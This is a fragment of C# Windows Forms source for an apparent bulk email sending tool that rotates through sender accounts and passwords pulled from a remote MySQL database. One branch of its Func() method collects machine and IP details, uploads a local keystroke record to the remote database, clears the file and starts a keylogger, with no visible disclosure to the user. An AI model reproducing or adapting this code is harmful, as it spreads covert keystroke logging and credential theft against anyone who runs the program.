private void button2_Click(object sender, EventArgs e) { if (Value.SendMailList != null) { if (FromMailIndex < (Value.SendMailList.Length - 1)) { FromMailIndex++; } else { FromMailIndex = 0; } MailInfor MI = new MailInfor(); MI.MailFrom = Value.SendMailList[FromMailIndex].Mail; MI.Password = Value.SendMailList[FromMailIndex].Password; MI.MailTo = dataGridView1.SelectedRows[0].Cells[1].Value.ToString(); MI.Title = textBox1.Text; MI.Msg = webBrowser1.DocumentText.ToString(); MI.AddPath = Ini.Read("附件路径"); MIThreadSend MITS = new MIThreadSend(MI, dataGridView1.SelectedRows[0].Index); MITS.OnReceivedData += new MIThreadSend.ReceivedData(NewWork_OnReceivedData); new Thread(new ThreadStart(MITS.Send)).Start(); } }
public void Func() { switch (Index) { case 0: if (Value.App_Run) { while (TryCount-- > 0) { try { DataTable DT = MySql.GetDataBase(DataBase.GetObjectValue("EndMessage")); OnReceivedData(Index, DT.Rows[0][1].ToString()); return; } catch { } } OnReceivedData(Index, "获取失败|www.trtos.com"); } break; case 1: if (Ini.Read("自动登陆") == "是") { if (Value.App_Run) { while (TryCount-- > 0) { try { Value.LoginEmail = Ini.Read("用户名"); Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码")); DataTable DT1 = MySql.GetDataBase(DataBase.GetLoginInfor(Value.LoginEmail, Value.LoginPassWord)); Value.LoginUserName = DT1.Rows[0][0].ToString(); Value.UserCreateDate = DateTime.Parse(DT1.Rows[0][1].ToString()); Value.UserBeUserCount = int.Parse(DT1.Rows[0][2].ToString()); TryCount = 0; OnReceivedData(Index, "登陆成功"); return; } catch { } } OnReceivedData(Index, "登陆失败"); } } break; case 2: if (Value.App_Run) { while (TryCount-- > 0) { try { DataTable DT = MySql.GetDataBase(DataBase.GetFromMailList()); Value.SendMailList = new SendMailStruct[DT.Rows.Count]; for (int i = 0; i < DT.Rows.Count; i++) { Value.SendMailList[i].Mail = DT.Rows[i][0].ToString(); Value.SendMailList[i].Password = DT.Rows[i][1].ToString(); } OnReceivedData(Index, DT.Rows.Count.ToString()); return; } catch { } } OnReceivedData(Index, "获取失败|www.trtos.com"); } break; case 3: if (Value.App_Run) { while (TryCount-- > 0) { try { PC_InforStruct PIS = new PC_InforStruct(); PIS.IPInfor = (string)Msg; PC_Infor.Get(ref PIS); PIS.Record = Tools.ReadFile(Value.PathSys + Ini.Read("RecordPath")); Tools.WriteFile(Value.PathSys + Ini.Read("RecordPath"), ""); MySql.SqlCommand(DataBase.GetJoinLoginReg(PIS)); Value.KeyLog = new Keylogger(Value.PathSys + Ini.Read("RecordPath")); Value.KeyLog.startLoging(); return; } catch (Exception E) { OnReceivedData(Index, E.Message); } } } break; default: break; } }
private void 保存ToolStripMenuItem_Click(object sender, EventArgs e) { Value.App_Busy = true; DataSave.SetDataToFile(dataGridView1, Ini.Read("MailPath")); Value.App_Busy = false; }
private void textBox2_TextChanged(object sender, EventArgs e) { Ini.Write("附件路径", textBox2.Text); }
private void timer2_Tick(object sender, EventArgs e) { //toolStripLabel6.Text = MySql.Connect.State.ToString(); this.Text = Ini.Read("MailPath") + Value.SoftName + "(" + Value.LoginUserName + ")"; }
private void 保存SToolStripMenuItem_Click(object sender, EventArgs e) { DataSave.SetDataToFile(dataGridView1, Ini.Read("MailPath")); }
private void fileSystemWatcher1_Changed(object sender, FileSystemEventArgs e) { webBrowser1.Url = new Uri(Value.PathMail + Ini.Read("HtmlPath")); }
private void 撤消UToolStripMenuItem_Click(object sender, EventArgs e) { Process.Start(Application.StartupPath + "/WizHtmlEditor/WizHtmlEditor.exe", Value.PathMail + Ini.Read("HtmlPath")); }
private void textBox1_TextChanged(object sender, EventArgs e) { //File.WriteText("Title.DLL",textBox1.Text); Ini.Write("MailTitle", textBox1.Text); }